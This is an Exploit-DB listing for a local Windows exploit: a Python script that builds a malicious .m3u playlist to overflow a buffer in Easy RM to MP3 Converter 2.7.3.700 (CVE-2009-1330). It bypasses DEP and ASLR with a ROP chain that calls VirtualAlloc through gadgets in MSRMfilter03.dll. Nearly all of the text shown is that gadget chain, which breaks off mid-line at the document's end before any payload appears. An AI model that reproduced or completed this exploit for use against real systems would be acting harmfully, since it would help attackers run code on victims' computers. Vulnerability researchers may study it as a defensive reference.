Exploit-DB #39933
Description: Easy RM to MP3 Converter 2.7.3.700 - '.m3u' File (Universal ASLR + DEP Bypass)
Type: local
Platform: windows
Date: 2016-06-13
Author: Fitzl Csaba

Exploit:
# Exploit Title: Easy RM to MP3 Converter 2.7.3.700 (.m3u) File BoF Exploit with Universal DEP+ASLR bypass
# Date: 2016-06-12
# Exploit Author: Csaba Fitzl
# Vendor Homepage: N/A
# Software Link: https://www.exploit-db.com/apps/[PII_REDACTED]96c57b71c7f160c720bed5-EasyRMtoMP3Converter.exe
# Version: 2.7.3.700
# Tested on: Windows 7 x64
# CVE : CVE-2009-1330

import struct

def create_rop_chain():

	# rop chain generated with mona.py - www.corelan.be
	# added missing parts, and some optimisation by Csaba Fitzl
	rop_gadgets = [

	  #mov 1000 to EDX - Csaba
	  0x41414141,  # Filler (compensate)
	  0x41414141,  # Filler (compensate)
	  0x41414141,  # Filler (compensate)
	  0x10025a1c,  # XOR EDX,EDX # RETN 
	  0x1002bc3d,  # MOV EAX,411 # RETN
	  0x1002dc4c,  # ADD EAX,100 # POP EBP # RETN 
	  0x41414141,  # Filler (compensate)
	  0x1002dc4c,  # ADD EAX,100 # POP EBP # RETN 
	  0x41414141,  # Filler (compensate)
	  0x1002dc4c,  # ADD EAX,100 # POP EBP # RETN 
	  0x41414141,  # Filler (compensate)
	  0x1002dc4c,  # ADD EAX,100 # POP EBP # RETN 
	  0x41414141,  # Filler (compensate)
	  0x1002dc4c,  # ADD EAX,100 # POP EBP # RETN 
	  0x41414141,  # Filler (compensate)
	  0x1002dc4c,  # ADD EAX,100 # POP EBP # RETN 
	  0x41414141,  # Filler (compensate)
	  0x1002dc4c,  # ADD EAX,100 # POP EBP # RETN 
	  0x41414141,  # Filler (compensate)
	  0x1002dc4c,  # ADD EAX,100 # POP EBP # RETN 
	  0x41414141,  # Filler (compensate)
	  0x1002dc4c,  # ADD EAX,100 # POP EBP # RETN 
	  0x41414141,  # Filler (compensate)
	  0x1002dc4c,  # ADD EAX,100 # POP EBP # RETN 
	  0x41414141,  # Filler (compensate)
	  0x1002dc4c,  # ADD EAX,100 # POP EBP # RETN 
	  0x41414141,  # Filler (compensate)
	  0x1002dc24,  # ADD EAX,80 # POP EBP # RETN
	  0x41414141,  # Filler (compensate)
	  0x1002dc41,  # ADD EAX,40 # POP EBP # RETN
	  0x41414141,  # Filler (compensate)
	  0x1001d2ac,  # ADD EAX,4 # RETN
	  0x1001d2ac,  # ADD EAX,4 # RETN
	  0x1001d2ac,  # ADD EAX,4 # RETN
	  0x1001d2ac,  # ADD EAX,4 # RETN
	  0x1001d2ac,  # ADD EAX,4 # RETN
	  0x1001d2ac,  # ADD EAX,4 # RETN
	  0x1001d2ac,  # ADD EAX,4 # RETN
	  0x1001d2ac,  # ADD EAX,4 # RETN
	  0x1001d2ac,  # ADD EAX,4 # RETN
	  0x1001d2ac,  # ADD EAX,4 # RETN
	  0x1001d2ac,  # ADD EAX,4 # RETN
	  0x10023327,  # INC EAX # RETN
	  0x10023327,  # INC EAX # RETN
	  0x10023327,  # INC EAX # RETN
	  # AT this point EAX = 0x1000
	  0x1001a788,  # PUSH EAX # POP ESI # POP EBP # MOV EAX,1 # POP EBX # POP ECX # RETN [MSRMfilter03.dll] 
	  0x41414141,  # Filler (compensate)
	  0x41414141,  # Filler (compensate)
	  0x41414141,  # Filler (compensate)
	  0x1001bf0d, #(RVA : 0x0001bf0d) : # ADC EDX,ESI
	  0x41414141,  # Filler (compensate)
	  
	
	  0x10026d56,  # POP EAX # RETN [MSRMfilter03.dll] 
	  0x10032078,  # ptr to &VirtualAlloc() [IAT MSRMfilter03.dll]
	  0x1002e0c8,  # MOV EAX,DWORD PTR DS:[EAX] # RETN [MSRMfilter03.dll]
	   
	  0x1001a788,  # PUSH EAX # POP ESI # POP EBP # MOV EAX,1 # POP EBX # POP ECX # RETN [MSRMfilter03.dll] 
	  0x41414141,  # Filler (compensate)
	  0x41414141,  # Filler (compensate)
	  0x41414141,  # Filler (compensate)
	  0x10027c5a,  # POP EBP # RETN [MSRMfilter03.dll] 
	  0x1001b058,  # & push esp # ret  [MSRMfilter03.dll]
	  0x1002b93e,  # POP EAX # RETN [MSRMfilter03.dll] 
	  0xfffffffb,  # put delta into eax (-> put 0x00000001 into ebx)
	  0x1001d2ac,  # ADD EAX,4 # RETN
	  0x10023327,  # INC EAX # RETN
	  0x10023327,  # INC EAX # RETN
	  0x1001bdee,  # PUSH EAX # MOV EAX,1 # POP EBX # ADD ESP,8 # RETN [MSRMfilter03.dll] 
	  0x41414141,  # Filler (compensate)
	  0x41414141,  # Filler (compensate)

	  0x10029f74,  # POP ECX # RETN [MSRMfilter03.dll] 
	  0xffffffff,  #  
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.dll] 
	  0x1002dd3e,  # INC ECX # AND EAX,8 # RETN [MSRMfilter03.